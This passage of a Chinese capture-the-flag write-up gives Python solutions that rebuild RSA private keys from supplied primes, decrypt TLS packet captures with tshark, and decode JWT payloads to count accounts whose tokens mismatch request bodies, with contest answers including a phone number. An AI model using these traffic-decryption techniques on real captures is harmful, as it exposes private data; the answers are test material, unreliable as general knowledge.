cert = x509.load_der_x509_certificate(data[i:i+4+length], default_backend())
pk = cert.public_key()
if isinstance(pk, rsa.RSAPublicKey):
return pk.public_numbers().n
except:
pass
i += 1
return None
def decrypt_pcap(pcap, key_path):
cmd = [TSHARK, '-r', str(pcap), '-o', f'tls.keys_list:0.0.0.0,443,http,{key_path}',
'-Y', 'http', '-T', 'fields', '-e', 'http.authorization', '-e', 'http.file_data']
r = subprocess.run(cmd, capture_output=True, timeout=30, encoding='utf-8', errors='replace')
return r.stdout.strip() if r.stdout else None
def hex_to_json(h):
try:
return json.loads(bytes.fromhex(h).decode('utf-8'))
except:
return None
params, id_to_params = read_params('params.csv')
keys_dir = Path('keys')
keys_dir.mkdir(exist_ok=True)
key_files = {}
for id_val, p in id_to_params.items():
key_path = keys_dir / f'key_{id_val}.pem'
if not key_path.exists():
save_key(gen_private_key(p['e'], p['p'], p['q']), key_path)
key_files[p['n']] = str(key_path.absolute())
pcap_dir = Path('pcap/pcap')
for pcap in pcap_dir.glob('*.pcap'):
n = find_cert_n(pcap)
if n and n in key_files:
data = decrypt_pcap(pcap, key_files[n])
if data:
parts = data.split('\t')
if len(parts) >= 2:
body = hex_to_json(parts[1])
if body and body.get('username') == '王梅':
print(f"答案: {body['phone']}")
break答案:13930079365
第三题
为了安全可靠,该系统在请求包设置了 Authorization 头部字段。该字段是使用 JWT 进行加密的,每个人的密钥为了安全考虑设置成自己姓名的拼音。
请选手解密 JWT 身份认证核对信息是否与请求体中的内容一致。若非一致,该用户可能在进行越权访问。请选手统计出有多少个账号进行越权。
答案标准: 若有 101 个账号进行越权,则答案提交为 101系统在请求包中设置了Authorization头部字段,使用JWT进行身份认证。JWT的payload中包含username和phone信息,而请求体中也包含
相同字段。越权访问的判断标准是:JWT中的用户信息与请求体中的用户信息不一致。具体步骤:解密所有流量包获取HTTP明文;提取
Authorization头部中的JWT token;JWT由三部分组成(header.payload.signature),对payload部分进行Base64URL解码获取JSON数
据;同时解析请求体中的hex编码JSON数据;比较JWT payload中的username和phone与请求体中的username和phone;若不一致则判定为
越权访问,统计越权账号总数。
import os, csv, json, base64, struct, subprocess
from pathlib import Path
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
TSHARK = r"D:\Wireshark\tshark.exe"
def read_params(csv_path):
params, id_to_params = {}, {}
with open(csv_path, 'r') as f:
for row in csv.DictReader(f):
e, p, q, id_val = int(row['e']), int(row['p']), int(row['q']), int(row['id'])
n = p * q
param = {'id': id_val, 'e': e, 'p': p, 'q': q, 'n': n}
params[n], id_to_params[id_val] = param, param
return params, id_to_params
def gen_private_key(e, p, q):
n, d = p * q, pow(e, -1, (p-1)*(q-1))
pub = rsa.RSAPublicNumbers(e, n)
priv = rsa.RSAPrivateNumbers(p, q, d, d%(p-1), d%(q-1), pow(q,-1,p), pub)
return priv.private_key(default_backend())
def save_key(key, path):
with open(path, 'wb') as f:
f.write(key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
def find_cert_n(pcap_path):
with open(pcap_path, 'rb') as f:
data = f.read()
i = 0
while i < len(data) - 4:
if data[i:i+2] == b'\x30\x82':
length = struct.unpack('>H', data[i+2:i+4])[0]
if 100 < length < 5000:
try:
cert = x509.load_der_x509_certificate(data[i:i+4+length], default_backend())
pk = cert.public_key()
if isinstance(pk, rsa.RSAPublicKey):
return pk.public_numbers().n
except:
pass
i += 1
return None
def decrypt_pcap(pcap, key_path):
cmd = [TSHARK, '-r', str(pcap), '-o', f'tls.keys_list:0.0.0.0,443,http,{key_path}',
'-Y', 'http', '-T', 'fields', '-e', 'http.authorization', '-e', 'http.file_data']
r = subprocess.run(cmd, capture_output=True, timeout=30, encoding='utf-8', errors='replace')
return r.stdout.strip() if r.stdout else None
def hex_to_json(h):
try:
return json.loads(bytes.fromhex(h).decode('utf-8'))
except:
return None
def decode_jwt(token):
try:
p = token.split('.')[1]
p += '=' * (4 - len(p) % 4) if len(p) % 4 else ''
return json.loads(base64.urlsafe_b64decode(p))
except:
return None
params, id_to_params = read_params('params.csv')
keys_dir = Path('keys')
keys_dir.mkdir(exist_ok=True)
key_files = {}
for id_val, p in id_to_params.items():
key_path = keys_dir / f'key_{id_val}.pem'
if not key_path.exists():
save_key(gen_private_key(p['e'], p['p'], p['q']), key_path)
key_files[p['n']] = str(key_path.absolute())
pcap_dir = Path('pcap/pcap')
results = []
for pcap in pcap_dir.glob('*.pcap'):
n = find_cert_n(pcap)
if n and n in key_files:
data = decrypt_pcap(pcap, key_files[n])
if data:
results.append({'pcap': pcap.name, 'raw': data})
unauthorized = 0
for r in results:
parts = r['raw'].split('\t')
if len(parts) >= 2:
auth = parts[0].replace('Bearer ', '') if parts[0] else ''
jwt_data = decode_jwt(auth)
body = hex_to_json(parts[1])
if jwt_data and body:
if jwt_data.get('username') != body.get('username') or \
jwt_data.get('phone') != body.get('phone'):
unauthorized += 1
print(f"答案: {unauthorized}")答案:5
本文详细解析了第三届“数信杯”数据安全个人赛初赛中多道典型题目,涵盖逆向分析、密码学破解、隐写术、流量取证及PDF文档审计等内容,展示了从IDA静态分析到RSA私钥恢复、AES-CBC漏洞利用、ICMP隐蔽隧道还原等关键技术的实战应用,并总结了解题思路与核心算法,全面体现参赛者在数据安全领域的综合能力。
由 AI 根据全文自动生成,仅供参考,以原文为准